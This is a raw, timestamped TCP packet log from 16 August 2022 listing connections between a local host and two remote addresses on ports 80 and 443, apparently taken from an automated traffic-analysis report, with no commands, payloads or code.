Aug 16, 2022 11:53:19.965856075 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.965878963 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.965897083 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.965903997 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.967847109 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.968556881 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.982495070 CEST	49180	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.986484051 CEST	80	49179	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.986609936 CEST	49179	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.987013102 CEST	49179	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.992682934 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.011374950 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:20.011456013 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:20.121990919 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:20.122011900 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:20.122026920 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:20.122106075 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:20.122741938 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:20.123302937 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:20.123799086 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:20.123821020 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:20.187500954 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.198292017 CEST	80	49179	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.202651024 CEST	80	49179	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.202694893 CEST	80	49179	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.202723026 CEST	80	49179	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.202784061 CEST	49179	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.202815056 CEST	49179	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.203454018 CEST	80	49179	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.203494072 CEST	80	49179	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.203526974 CEST	49179	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.203546047 CEST	49179	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.208689928 CEST	49179	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.210243940 CEST	49181	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.224728107 CEST	80	49180	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.224802971 CEST	49180	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.225266933 CEST	49180	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.419922113 CEST	80	49179	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.457029104 CEST	80	49181	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.457164049 CEST	49181	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.457707882 CEST	49181	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.464524984 CEST	80	49180	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.467612982 CEST	80	49180	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.467643023 CEST	80	49180	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.467662096 CEST	80	49180	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.467680931 CEST	80	49180	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.467696905 CEST	80	49180	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.467704058 CEST	49180	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.467725039 CEST	49180	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.467740059 CEST	49180	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.469336987 CEST	49180	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.470279932 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.699577093 CEST	80	49181	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.699632883 CEST	80	49181	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.699662924 CEST	80	49181	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.700983047 CEST	49181	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.701013088 CEST	49181	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.701016903 CEST	49181	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.701430082 CEST	49183	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.704302073 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.704433918 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.704543114 CEST	80	49180	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.705472946 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.929487944 CEST	80	49183	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.929779053 CEST	49183	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.930874109 CEST	49183	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.936258078 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.936347008 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.936400890 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.936449051 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.936491966 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.936531067 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.936573029 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.936578035 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.936614037 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.936620951 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.936628103 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.936656952 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.936657906 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.936702013 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.936733007 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.936733961 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.936752081 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.936788082 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.939304113 CEST	80	49181	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:20.940232992 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:20.944428921 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:21.158514977 CEST	80	49183	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:21.161406994 CEST	80	49183	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:21.161457062 CEST	80	49183	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:21.161470890 CEST	80	49183	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:21.161515951 CEST	49183	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:21.161564112 CEST	49183	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:21.165479898 CEST	49183	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:21.168775082 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:21.220216990 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:21.393126965 CEST	80	49183	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:21.395688057 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:21.396868944 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:21.397299051 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:21.619687080 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.072201014 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.072237015 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.072252989 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.072269917 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.072350025 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.073091984 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.073113918 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.078912973 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.081720114 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.081809044 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.081897020 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.081945896 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.082015038 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.082057953 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.082174063 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.082216978 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.088423014 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.088463068 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.088598967 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.088620901 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.292391062 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.292516947 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.293047905 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.304378033 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.304430008 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.304469109 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.304546118 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.304564953 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.304572105 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.304575920 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.304622889 CEST	80	49182	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.304701090 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.304742098 CEST	49182	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.472071886 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.472138882 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.472217083 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.472218990 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.472254992 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.472264051 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.472392082 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.472429991 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.478697062 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.478733063 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.479573965 CEST	49186	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.480025053 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.480081081 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.480113029 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.480122089 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.480127096 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.480159044 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.480298996 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.480340004 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.480514050 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.480556965 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.480757952 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.480803967 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.507955074 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.513740063 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.513809919 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.513854980 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.513858080 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.513881922 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.513895035 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.513907909 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.513946056 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.515537977 CEST	49185	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.516882896 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.690931082 CEST	80	49186	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.691044092 CEST	49186	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.691997051 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.692078114 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.692363024 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.692389011 CEST	49186	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.692425013 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.692850113 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.692920923 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.693093061 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.693159103 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.693172932 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.693223953 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.693311930 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.693403959 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.693420887 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.693454027 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.693479061 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.693507910 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.699544907 CEST	80	49184	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.699631929 CEST	49184	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.731837034 CEST	80	49185	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.735198975 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.735276937 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.735726118 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.903435946 CEST	80	49186	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.907341003 CEST	80	49186	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.907387018 CEST	80	49186	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.907408953 CEST	49186	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.907459021 CEST	49186	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.954612017 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.954632998 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.954648972 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.954664946 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.954737902 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.954771042 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.954772949 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.954788923 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.954827070 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.954869986 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.959331989 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.959374905 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.959391117 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.959408045 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.959423065 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:22.959434032 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.959461927 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.959466934 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.959470987 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.959546089 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.982180119 CEST	49186	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:22.990248919 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.069386959 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.167392015 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.167447090 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.167488098 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.167531967 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.167550087 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.167562008 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.167567015 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.167592049 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.167602062 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.167642117 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.167679071 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.167692900 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.167705059 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.167715073 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.167732954 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.167754889 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.167793036 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.167814016 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.167830944 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.167857885 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.175324917 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.175460100 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.175498009 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.175527096 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.175549984 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.175570965 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.175575018 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.175581932 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.175591946 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.175597906 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.175614119 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.175623894 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.175638914 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.175651073 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.175662994 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.175673962 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.175688028 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.175695896 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.175741911 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.175748110 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.192971945 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.193386078 CEST	80	49186	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.298342943 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.298482895 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.383371115 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.383409023 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.383433104 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.383455992 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.383476973 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.383516073 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.383570910 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.383591890 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.383601904 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.383615017 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.383636951 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.383637905 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.383660078 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.383667946 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.383677006 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.383681059 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.383702040 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.383707047 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.383713961 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.383723974 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.383745909 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.383770943 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.383776903 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.383797884 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.383800983 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.383822918 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.383841991 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.383845091 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.383846998 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.383867025 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.383877993 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.383884907 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.383888006 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.383907080 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.383913994 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.391278028 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.391304970 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.391323090 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.391343117 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.391381025 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.391400099 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.391412020 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.391427040 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.391443014 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.391464949 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.391489029 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.391503096 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.391530037 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.391550064 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.391554117 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.391556978 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.391560078 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.391582012 CEST	80	49187	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.391630888 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.400437117 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.410898924 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.546022892 CEST	49187	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.563036919 CEST	49189	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.639878035 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.644532919 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.644566059 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.644588947 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.644612074 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.644629002 CEST	80	49188	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:23.644670963 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.644699097 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.671329975 CEST	49188	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:23.686783075 CEST	49190	80	192.168.2.22	187.45.240.69
